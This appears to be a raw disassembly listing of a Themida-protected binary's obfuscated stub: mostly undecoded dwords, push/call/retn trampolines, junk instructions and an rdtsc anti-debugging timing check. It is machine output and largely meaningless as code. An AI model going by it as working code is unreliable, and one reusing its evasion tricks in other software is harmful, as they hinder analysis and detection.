		dd 6810F07h, 8B000000h,	0E42035B5h, 6A5807h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D82BFBC3h
		dd 119880Fh, 8B660000h,	7B9F0h,	0B70F0000h, 318D09F1h
		dd 8307E41Bh, 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0AFA78C3h, 700DD781h, 3BFC1BA3h
		dd 0D8860FD9h, 0BE000000h, 0EBA21BEh, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F48EC356h, 49FA819Eh, 9589FA8Bh, 7E418A9h, 0F04C1F6h
		dd 7D84h, 698D2900h, 0FF07E40Eh, 0E42D9195h, 0B5096007h
		dd 7E41CF1h, 1C619D8Bh,	5B6107E4h, 6AC32Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DC5D86C3h
		dd 2A1A4A9Ch, 3D4E3E44h, 834h, 30860Fh,	8E0F0000h, 4, 5E5F5656h
		dd 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0BF58317Dh, 0C08B96F0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0BBC35545h, 8B1577A7h
		dd 6AD88BC3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0C548C356h, 44331D16h,	6AD78166h
		dd 8585C781h, 1D07E423h, 6A5C233Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D3A4C352h
		dd 6573C5BFh, 7E90Ah, 636A0000h, 3BACB7Eh, 89C08B65h, 0E426F18Dh
		dd 0E18D8907h, 8107E419h, 0E42AD5BDh, 7D007h, 2B850F00h
		dd 53000000h, 0FF5FF88Bh, 0E42AD585h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0C090EF3Ah, 0B5FF84ACh, 7E42AD5h, 15158589h,	95FF07E4h
		dd 7E40E41h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	62C35747h, 8B6631C2h, 78B890FAh, 1123456h, 0E42BF9BDh
		dd 779D8D07h, 0E907E816h, 0FFFFF90Ch, 25DDB58Bh, 0C18B07E4h
		dd 20B59589h, 4EB07E4h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C3B37
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3B37	proc near		; CODE XREF: Themida_:005C3B2Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C3B37	endp

; ---------------------------------------------------------------------------
		db 0ECh
		dd 55745CFFh, 0CAF145EFh, 589BBE66h, 49BD8B50h,	5E07E41Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E3C35545h
		dd 6E963h, 8C360000h, 0BB70BC2Eh, 858DF98Bh, 7E40D85h
		dd 14810Fh, 0CE80000h, 0
		dd 0EA00D883h, 6C6C81D8h, 6073FFA9h, 0E9505E61h, 0Dh, 0DBB79594h
		dd 11454F67h, 59CAAF63h, 2404897Eh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 55C35141h, 858936BEh, 6850F32h
		dd 8B000000h, 0E4258DB5h, 66006A07h, 6AFA8Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 23C35040h, 83D1E884h
		dd 662CCE7Bh, 858DFE8Bh, 7E81876h, 9E8h, 0CA58B600h, 727EF89Ch
		dd 8B608BB4h, 0E419C595h, 835F6107h, 0BE905C0h,	0EB000000h
		dd 947905FFh, 1FB37044h, 0F5013E3h, 1389h, 0DE800h, 669C0000h
		dd 0E409C1E7h, 37C44795h, 5E901C23h, 66240489h,	0BED7E781h
		dd 0FE9006Ah, 0A6000000h, 8C24F49Ch, 4EB7E234h,	35C66141h
		dd 890F221Ch, 0Ch, 68E0Fh, 8D290000h, 7E42CF9h,	0BD8B006Ah
		dd 7E40F3Dh, 247195FFh,	6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B129F9C3h, 6D69C59Dh
		dd 8D46807Bh, 0E7D64B9Dh, 0E1B58B07h, 0FF07E406h, 0B985FFD3h
		dd 6A07E420h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0E6C5C356h, 6F71B2ACh,	2BF366F0h
		dd 0E400A5B5h, 0D26E907h, 0E80000h, 5D000000h, 1880ED81h
		dd 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 47D850C3h, 0DFBF8D11h, 850F45h, 81000000h
		dd 0E42AD5BDh, 7D007h, 3C860F00h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0E9ABC351h, 25A4AA95h, 0D183C78Ch, 0DE9h, 0C579B400h
		dd 0AAC8134Dh, 0C2E5CF9h, 9D8B0574h, 7E43591h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F0C35040h, 0BEDCB5FCh
		dd 1746012Ch, 5E9h, 0E61B900h, 0E3817DECh, 100h, 9E8h
		dd 0D375DC00h, 0B526433Eh, 11E886CEh, 51000000h, 9E16A4EDh
		dd 37DEEDB3h, 4076958Dh, 0C2A1AA40h, 3239BD8Bh,	5F5E07E4h
		dd 850FDB0Bh, 6Fh, 1ED5B589h, 0BD8307E4h, 7E8169Dh, 2F840F00h
		dd 8B000000h, 81B523F7h, 0E907E423h, 59h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0DCC35545h, 0ADDBD8Bh
		dd 85C707E4h, 7E8169Dh,	1, 28E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0C71EF8BCh
		dd 0E8169D85h, 7, 919D8D00h, 8107E435h,	0CFDD37DEh, 0D1B5895Dh
		dd 8107E41Bh, 0FFFEFF23h, 0E9BD8BFFh, 6607E431h, 0C681DB8Ch
		dd 611C7CD3h, 0F04C3F6h, 0BB84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8BBE553Dh
		dd 0E400DDB5h, 29B52307h, 0FF07E421h, 0E42D9195h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8163065Dh, 0F8D645DEh, 9A38BF06h, 50506026h,	0EE852h
		dd 0F1020000h, 8398B409h, 9D807870h, 0C4C9E7DEh, 0CE9h
		dd 757DF500h, 0F925FBEAh, 8B7871A5h, 310F5F07h,	0AE9h
		dd 26678C00h, 27D266A1h, 5A8F7DB7h, 24048958h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 7C4E186Bh
		dd 8EEDA308h, 3F6E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0A810F0E9h, 0A5EA3775h
		dd 0E78166A4h, 0B02203h, 0F61BD29h, 70E607E4h, 27858D89h
		dd 816607E4h, 0E42846CEh, 53006A71h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F148EBBh
		dd 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 10BDAFC3h, 2ED978BFh, 0AE8h, 0ED81BB00h
		dd 8B8A5E14h, 5672FB69h, 7B59589h, 5E5E07E4h, 29BDBD8Bh
		dd 9D8907E4h, 7E40881h,	6BAh, 0E1816000h, 2E3F554Ah, 17C59D89h
		dd 8B6107E4h, 0BDB58BC3h, 0C107E426h, 6A04E8h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8BB6C3h, 7E4091Dh, 6AE2F766h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 39B5C351h
		dd 81664B43h, 0F2263E7h, 0D82BF8BFh, 5F5293F5h,	6A9350h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0AA3D23C3h, 29DD9509h, 0B5FF07E4h, 7E42AD5h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 95FFF98Bh
		dd 7E40E41h, 31AB58BEh,	6A00B049h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6220C356h
		dd 315B895Ch, 0E402B5B5h, 8B70E607h, 0E425CDBDh, 6A71E407h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 3F21C351h, 0F613CFCh, 23283h, 0CE96000h
		dd 5E000000h, 297DACBh,	0E87CAEDFh, 8B2F2599h, 0E424C59Dh
		dd 0B60F6107h, 50006AD8h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD8BC29Fh, 7E41495h
		dd 6BAh, 0A0D68100h, 8B4F7A6Ch,	51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0C3B56DABh
		dd 0DF9CBF54h, 0F504E8C1h, 0EFD9D09h, 0F76607E4h, 51006AE2h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8157A49Ah, 0C98F1CEh, 0D82B5E6Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0C2C35141h,	469A69D8h, 0BD2B58C9h
		dd 7E41529h, 880FD82Bh,	15Fh, 1AF78166h, 7B9DEh, 0C1830000h
		dd 5E900h, 264A0000h, 3BB0BCEEh, 40860FD9h, 89000001h
		dd 0E40E3DB5h, 0D98C6607h, 0C1F6F88Bh, 0F4840F04h, 0F5000000h
		dd 0BE9h, 0AD41E200h, 2F06917Ch, 9522C066h, 2D9195FFh
		dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 379BCFC3h, 604D3B40h, 9E9h, 0B1CD6000h, 4C76C9F9h
		dd 81669547h, 612238D3h, 51006A5Bh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0A1B589FFh, 2B07E421h
		dd 52006AC3h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 4615F4DBh, 0E9376C72h, 0Bh, 0A2663103h
		dd 6646C19Ah, 3D277779h, 834h, 45860Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E96C8BC3h, 5Bh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 91C35040h, 19CF8D21h,	8BC23E70h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0F052C30h, 0C8Eh, 6840F00h, 8B000000h, 0E40B35B5h, 0A58D8907h
		dd 8B07E409h, 0FD88BC3h, 8F0FFBBFh, 6, 291BD8Bh, 85C707E4h
		dd 7E40B69h, 341EF1FBh,	0C08BFE8Bh, 0DE8h, 78D56C00h, 0BFC2182Fh
		dd 2293513Ah, 0BD8BF776h, 7E41E85h, 0D5BD815Eh,	0D007E42Ah
		dd 0F000007h, 3985h
		dd 8A0F6000h, 6, 820Fh,	0A7BF0000h, 61136039h, 2AD585FFh
		dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0E556C4C3h, 0B5FF7FA0h, 7E42AD5h,	0B2E78166h
		dd 4195FF85h, 6A07E40Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 6027C352h, 1429B523h
		dd 409007E4h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	0C9C35747h, 0F82430F0h,	0BD83F5B6h, 7E424DDh, 83840F00h
		dd 0F000000h, 0BD83F9BFh, 7E4038Dh, 73840F00h, 8B000000h
		dd 0DD95FFF1h, 6A07E424h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 4E2C352h, 0F098589h
		dd 0C00B07E4h, 40840Fh,	0FCF50000h, 4FE78D8Dh, 958907E4h
		dd 7E40FA9h, 5B8h, 9D895600h, 7E41E41h,	6AE1FF5Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 369FC356h, 323DFB22h, 0BD83036Ah, 7E42C35h, 5C840F00h
		dd 60000005h, 80CEE880h, 836100C9h, 0E4038DBDh,	840F0007h
		dd 547h, 2405B589h, 8D8D07E4h, 7E429E5h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 43C35747h, 0DA88F490h
		dd 1C5D46B6h, 79BD8Bh, 1C707E4h, 44B27C84h, 0AAF68166h
		dd 0CB018189h, 0F1499CFh, 0E81h, 8D016000h, 7E40235h, 21718D8Bh
		dd 0C76107E4h, 6B340441h, 81FCCE70h, 0D7100441h, 7E831D6h
		dd 0F1000000h, 30AE4B59h, 6A5F81D2h, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0CB1988C9h
		dd 19787F3Fh, 858DBB1Bh, 7E429E5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0A8839088h, 90BD750Eh
		dd 5841BE66h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0CB4E61C3h, 97B771EAh, 3595FF99h
		dd 6607E42Ch, 8627EF81h, 29E58D8Dh, 6A07E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 2D31D8C3h
		dd 5E8h, 74CB600h, 0B58B9F0Ch, 7E41275h, 43BF665Fh, 1C725h
		dd 0E9000000h, 12h, 0D11143DFh,	5078206Ah, 702604CBh, 6961DAE5h
		dd 41C75E61h, 4, 0FDB58B00h, 6607E40Dh,	9850D781h, 840FC00Bh
		dd 71h,	89FB8B66h, 0E42211B5h, 0E78D8D07h, 6A07E44Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 5CC2C351h, 1FC5B58Bh, 5B807E4h, 0E9000000h, 0Bh, 0C4FE940Bh
		dd 2BE909FCh, 0FFE00EADh, 51006AE1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 6D19C2BAh
		dd 8BE6FCEBh, 0E42755BDh, 0E58D8D07h, 6A07E429h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6647C356h, 2949ADBFh, 0E4227D9Dh, 7C01C707h,	8B44AA72h
		dd 0E41F3DBDh, 0CB018107h, 6A1499CFh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A38CC352h
		dd 41C7B111h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0ACA70A2Bh, 0E2DF267Dh
		dd 29B58900h, 8107E423h, 0D7100441h, 6E831D6h, 6D000000h
		dd 0B80C1223h, 0B8BF66F7h, 6A5F90h, 7A5B58Bh, 858D07E4h
		dd 7E429E5h, 0B58B6060h, 7E4272Dh, 1098589h, 8B6107E4h
		dd 0E4185D85h, 89506107h, 0B70F2404h, 3595FFF2h, 8907E42Ch
		dd 0E403A9BDh, 0E58D8D07h, 0F07E429h, 8Ah, 1C700h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 3011C356h, 23B1979Fh, 441C7F6h, 0
; ---------------------------------------------------------------------------
		pusha
		or	[ebp+7E4002Dh],	ebx
		mov	[ebp+7E423C1h],	eax
		popa
		or	eax, eax
		jz	loc_5C4828
		mov	[ebp+7E40F85h],	edx
		lea	ecx, [ebp+7E44FE7h]
		push	0
		push	edx
		call	sub_5C47FD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C47FD	proc near		; CODE XREF: Themida_:005C47F5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C47FD	endp

; ---------------------------------------------------------------------------
		sub	edi, edx
		sti
		mov	eax, 5
		mov	edi, [ebp+7E40A09h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	di, cx
		push	edx
		mov	[ebp+7E42C65h],	edi
		pop	esi


loc_5C4828:				; CODE XREF: Themida_:005C47E0j
		lea	ecx, [ebp+7E429E5h]
		mov	dword ptr [ecx], 54CA95A5h
		push	0
		push	ebx
		call	sub_5C483F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C483F	proc near		; CODE XREF: Themida_:005C4837p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5C483F	endp

; ---------------------------------------------------------------------------
		db 0C1h
		dd 0ABEB52B8h, 0BA4C5BA5h, 7E9h, 86A21A00h, 0DD4E9BA8h
		dd 0CFCB0181h, 0EEBE1499h, 0E91C9077h, 9, 4857DF41h, 69D2E82Fh
		dd 441C77Ch, 0CE5F5969h, 0BDBB73BFh, 4418157h, 31D6D710h
		dd 183DB58Bh, 6A07E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0D6C35545h, 121B58Bh,	858D07E4h, 7E429E5h
		dd 0A558589h, 0F5007E4h, 487h, 3BF6600h, 240489D9h, 0FFF18B66h
		dd 0E42C3595h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0A0A2A439h, 473FA352h
		dd 0F08B666Eh, 29E58D8Dh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0B58BE0C3h, 7E40E4Dh
		dd 1C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 150424h, 52420000h, 8BA6D8C3h, 0E41CA5BDh, 441C707h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C4967
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4967	proc near		; CODE XREF: Themida_:005C495Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5C4967	endp

; ---------------------------------------------------------------------------
		db 0A8h
		dd 0E1DF7B52h, 0B748646h, 9C840FC0h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4377C353h, 0EE9EB29h, 0EF000000h, 0C29228A9h, 85EC3681h
		dd 198A1479h, 0B70F5225h, 8D8D5EFFh, 7E44FE7h, 0B8FE8B66h
		dd 5, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 14h
		dd 70C35141h, 0FFF9B70Fh, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 2CC5DECBh
		dd 0E943BDC8h, 9, 250B5D6Fh, 0C4912AC9h, 8DB58BC9h, 307E412h
		dd 0F2DCE9CAh, 0FA8BFFFFh, 4EBC18Bh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C4A3F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4A3F	proc near		; CODE XREF: Themida_:005C4A37p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5C4A3F	endp

; ---------------------------------------------------------------------------
		or	[esi-5Dh], ecx
		sbb	ecx, [ebx-1BEA9E43h]
		pop	es
		lea	eax, [ebp+7E40D85h]
		jmp	loc_5C4A78
; ---------------------------------------------------------------------------
		dd 0E78DC94Eh, 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh
; ---------------------------------------------------------------------------


loc_5C4A78:				; CODE XREF: Themida_:005C4A5Fj
		nop
		jle	loc_5C4A98
		push	eax
		push	edx
		mov	di, 9F1h
		rdtsc
		jmp	loc_5C4A96
; ---------------------------------------------------------------------------
		dd 6CE2D339h, 0DCE2A3C7h
; ---------------------------------------------------------------------------
		cmp	ebp, ecx


loc_5C4A96:				; CODE XREF: Themida_:005C4A87j
		pop	edx
		pop	eax


loc_5C4A98:				; CODE XREF: Themida_:005C4A79j
		push	eax
		mov	si, 7F74h
		nop
		mov	edi, [ebp+7E42FEDh]
		push	0
		push	0
		push	ecx
		call	sub_5C4AB1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4AB1	proc near		; CODE XREF: Themida_:005C4AA9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5C4AB1	endp

; ---------------------------------------------------------------------------
		db 0A4h, 63h, 90h
; ---------------------------------------------------------------------------
		xor	edi, [ebp+7E41851h]
		push	0
		mov	[ebp+7E4241Dh],	eax
		lea	eax, [ebp+7E82725h]
		push	0
		push	eax
		call	sub_5C4AE3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4AE3	proc near		; CODE XREF: Themida_:005C4ADBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C4AE3	endp

; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C6D59A9Eh, 0D2DBD33h, 0B58B07E4h, 7E41879h,	6605C083h
		dd 65C9CE81h, 50FA8B90h, 8F0F5060h, 0
; ---------------------------------------------------------------------------
		pop	edx
		pusha
		jmp	loc_5C4B33
; ---------------------------------------------------------------------------
		db 0B4h
		dd 3D2B9936h, 7AB626E2h, 0B10326E9h, 0ABB93A57h
; ---------------------------------------------------------------------------
		and	esi, [eax-28h]


loc_5C4B33:				; CODE XREF: Themida_:005C4B1Aj
		push	esi
		pop	edi
		popa
		popa
		nop
		push	0
		push	ebx
		call	sub_5C4B43
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4B43	proc near		; CODE XREF: Themida_:005C4B3Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5C4B43	endp

; ---------------------------------------------------------------------------
		pushf
		pushf
		or	ah, [edx+6Eh]
		push	edx
		mov	cl, 10h
		mov	ds:0BD8B006Ah, eax
		shl	dword ptr [ebx], 0E4h
		pop	es
		push	0
		mov	esi, [ebp+7E42A71h]
		call	dword ptr [ebp+7E42471h]
		or	[ebp+7E42569h],	ecx
		lea	ebx, [ebp+7E7D64Bh]
		push	0
		push	eax
		call	sub_5C4B89
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4B89	proc near		; CODE XREF: Themida_:005C4B81p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5C4B89	endp

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		push	esp
		test	edi, edi
		ror	dword ptr [ebx], cl
		mov	ebp, 7E42231h
		inc	dword ptr [ebp+7E420B9h]
		xor	[ebp+7E4089Dh],	eax
		jmp	loc_5C53CC
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 7E8272Fh
		sub	si, 509Ch
		or	[ebp+7E40185h],	edx
		cmp	dword ptr [ebp+7E42AD5h], 7D0h
		jbe	loc_5C4D4C
		push	0
		push	ebx
		call	sub_5C4BE7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4BE7	proc near		; CODE XREF: Themida_:005C4BDFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5C4BE7	endp

; ---------------------------------------------------------------------------
		db 0F4h
		dd 0F5019556h, 73566A37h, 9659D8Bh, 6A07E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0D170F2C3h
		dd 0FFBD8C3Bh, 12E927h,	8CEB0000h, 0D5D7F44Dh, 0F66191B1h
		dd 0BCFC297Ah, 0FC4CC5BEh, 29E1B589h, 9D8907E4h, 7E40291h
		dd 100E381h, 0B5090000h, 7E431B1h, 850FDB0Bh, 0A1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 16C35747h, 8AD06816h
		dd 0B70F5E6Dh, 0A5BD83FAh, 7E825h, 0B840Fh, 8B660000h
		dd 7AE9F2h, 0B70F0000h,	0A585C7F2h, 107E825h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 2B3EC353h, 8E0F3578h, 8, 870F53h,	5E000000h
		dd 3BE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0DB5A241Ah, 893F5CB8h, 0E42BE59Dh
		dd 0A585C707h, 7E825h, 66000000h, 8589F38Bh, 7E41E91h
		dd 9659D8Dh, 850F07E4h,	1, 0FF2381FCh, 6AFFFFFEh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1AE6C352h, 9589305Eh, 7E40389h
; ---------------------------------------------------------------------------


loc_5C4D4C:				; CODE XREF: Themida_:005C4BD6j
		mov	bx, ds
		push	0
		push	ebp
		call	sub_5C4D5A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D5A	proc near		; CODE XREF: Themida_:005C4D52p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5C4D5A	endp

; ---------------------------------------------------------------------------
		sbb	byte ptr [edi-2Fh], 0A0h
		stosd
		cmp	dl, bl
		mov	[ebp+7E4192Dh],	edx
		test	bl, 4
		jz	loc_5C4DD3
		push	0
		push	ebx
		call	sub_5C4D8C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D8C	proc near		; CODE XREF: Themida_:005C4D84p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C4D8C	endp

; ---------------------------------------------------------------------------
		inc	esi
		mov	di, 0E7B9h
		call	dword ptr [ebp+7E42D91h]
		push	0
		push	edx
		call	sub_5C4DB2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4DB2	proc near		; CODE XREF: Themida_:005C4DAAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C4DB2	endp

; ---------------------------------------------------------------------------
		mov	bh, 0A2h
		adc	dword ptr [esi], 5E575071h
		mov	[esp], eax
		sub	esi, [ebp+7E42375h]


loc_5C4DD3:				; CODE XREF: Themida_:005C4D7Bj
		jmp	loc_5C517A
; ---------------------------------------------------------------------------
		dd 0B0F38B66h, 8B70E600h, 0E41DDDBDh, 8171E407h, 0ED0CF6CFh
		dd 1DB58B1Fh, 0F07E424h, 0B589D8B6h, 7E42DADh, 6BAh, 0F3B70F00h
		dd 0F58D8957h, 5F07E41Dh, 0E8C1C38Bh, 10E904h, 9A0000h
		dd 0FF921F1Ch, 1C3AE0E2h, 16477719h, 0F76667AFh, 55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 2DCD24E3h, 0BFF98B7Eh, 3D55C83Eh, 6AD82Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4D45C3C3h
		dd 0A0D01E93h, 0FE8h, 0A5E07300h, 0C5B557A2h, 7E21B031h
		dd 6240C8F9h, 54D6BF66h, 0F50935Eh, 481h, 9CBF6600h, 0F505FB6h
		dd 885h, 0F525000h, 5AF98B31h, 6A9358h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2181A7C3h
		dd 0AD6F641Dh, 8B66DFCAh, 0E42B45B5h, 0F9B50107h, 0FF07E41Fh
		dd 0E42AD5B5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 3A4243BAh, 0FCD598C6h
		dd 2C77EF81h, 95FF38CAh, 7E40E41h, 0B0F1BF0Fh, 71BD8B00h
		dd 0E607E431h, 1CBF6670h, 6071E492h, 0DE947B3h,	6D000000h
		dd 15D8DE14h, 31321AC2h, 0F2A4C987h, 0F613C61h,	23983h
		dd 14E900h, 9FB00000h, 0C2166017h, 0D7C7A05Dh, 0D7F2CA0Eh
